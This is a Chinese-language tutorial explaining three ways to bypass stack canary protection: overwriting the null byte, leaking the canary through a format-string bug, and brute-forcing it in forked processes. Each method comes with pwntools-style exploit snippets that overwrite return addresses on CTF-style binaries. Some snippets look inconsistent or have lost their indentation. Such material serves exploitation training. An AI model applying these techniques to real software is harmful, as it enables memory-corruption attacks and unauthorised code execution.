常见的绕过canary的方法
字数 993 2025-08-23 18:31:17
绕过Canary保护机制的方法详解
Canary是一种常见的栈保护机制,用于防止缓冲区溢出攻击。本文将详细介绍三种绕过Canary保护的方法,包括覆盖00字符、格式化字符串泄露和爆破Canary。
Canary保护机制原理
在函数开始时,程序会随机生成一个值(Canary),并将其放置在栈上紧挨着EBP/RBP的上一个位置。当攻击者试图通过缓冲区溢出覆盖EBP/RBP或返回地址时,必然会覆盖Canary的值。在函数结束时,程序会检查Canary的值是否与初始值一致,如果不一致,程序将终止执行,从而防止缓冲区溢出攻击。
方法一:覆盖00字符
原理
Canary通常以00字节结尾(最低字节为\x00)。通过覆盖这个00字节,可以泄露Canary的值。
实现步骤
- 通过缓冲区溢出覆盖Canary的00字节
- 读取泄露的Canary值
- 利用strcpy等函数的特性(遇到\x00截断但会在最后加\x00)构造有效载荷
示例代码
# 覆盖00字节并泄露Canary
s('a' * 0x19)
r(0x18 + 6)
canary = u64(r(8)) - 0x61
leak('canary', canary)
# 构造有效载荷
backdoor = 0x4012BB
ru('you like to leave(MAX 4): ')
sl('2')
sl('a' * (0xa0 - 0x8) + p64(canary + 0xaa) + 'a' * 8 + p64(0x4012c3))
sl('a' * 0x78)
方法二:格式化字符串泄露
原理
利用格式化字符串漏洞直接泄露栈上的Canary值。
实现步骤
- 使用gdb或其他工具确定Canary在栈上的偏移
- 通过格式化字符串漏洞(如%p)泄露Canary
- 构造有效载荷覆盖Canary和返回地址
示例代码
# 泄露Canary
sl('%13$p')
canary = int(r(18), 16)
leak('canary', canary)
# 构造有效载荷
pl = 'a' * 0x28 + p64(canary) + 'a' * 0x8 + p64(0x401245)
sl(pl)
方法三:爆破Canary
适用场景
当程序使用fork函数创建子进程时,因为fork会拷贝父进程的内存,所以子进程的Canary与父进程相同。
原理
- Canary最低位为0x00
- 可以逐字节爆破Canary
- 爆破失败会导致程序崩溃,成功则继续执行
实现步骤
- 从最低位开始(已知为\x00)
- 逐字节尝试所有可能的值(0-255)
- 通过程序是否崩溃判断爆破是否成功
示例代码
# 爆破Canary
canary = '\x00'
for k in range(7):
for i in range(256):
print("正在爆破Canary的第" + str(k+1) + "位")
print("当前的字符为" + chr(i))
payload = b'a'*0x68 + canary + chr(i)
p.send(b'a'*0x68 + canary + chr(i))
data = p.recvuntil("welcome\n")
if 'stack' in data:
continue
else:
canary += p8(i)
break
# 爆破PIE地址
backdoor = 0x0231
while True:
for i in range(16):
p.send(b'a'*0x68 + canary*2 + p16(backdoor))
a = p.recvuntil(b'welcome\n', timeout=0.5)
if b'welcome\n' in a:
backdoor += 0x1000
if b'flag' in a:
print(a)
p.interactive()
总结
| 方法 | 适用场景 | 关键点 |
|---|---|---|
| 覆盖00字符 | 可以部分覆盖Canary | 利用strcpy等函数的特性 |
| 格式化字符串泄露 | 存在格式化字符串漏洞 | 需要知道Canary在栈上的偏移 |
| 爆破Canary | 程序使用fork或线程 | 逐字节爆破,利用进程/线程间Canary相同的特性 |
在实际应用中,需要根据目标程序的具体情况选择合适的绕过方法。理解Canary保护机制的原理是成功绕过的基础,而熟练掌握这些技术则需要在实践中不断积累经验。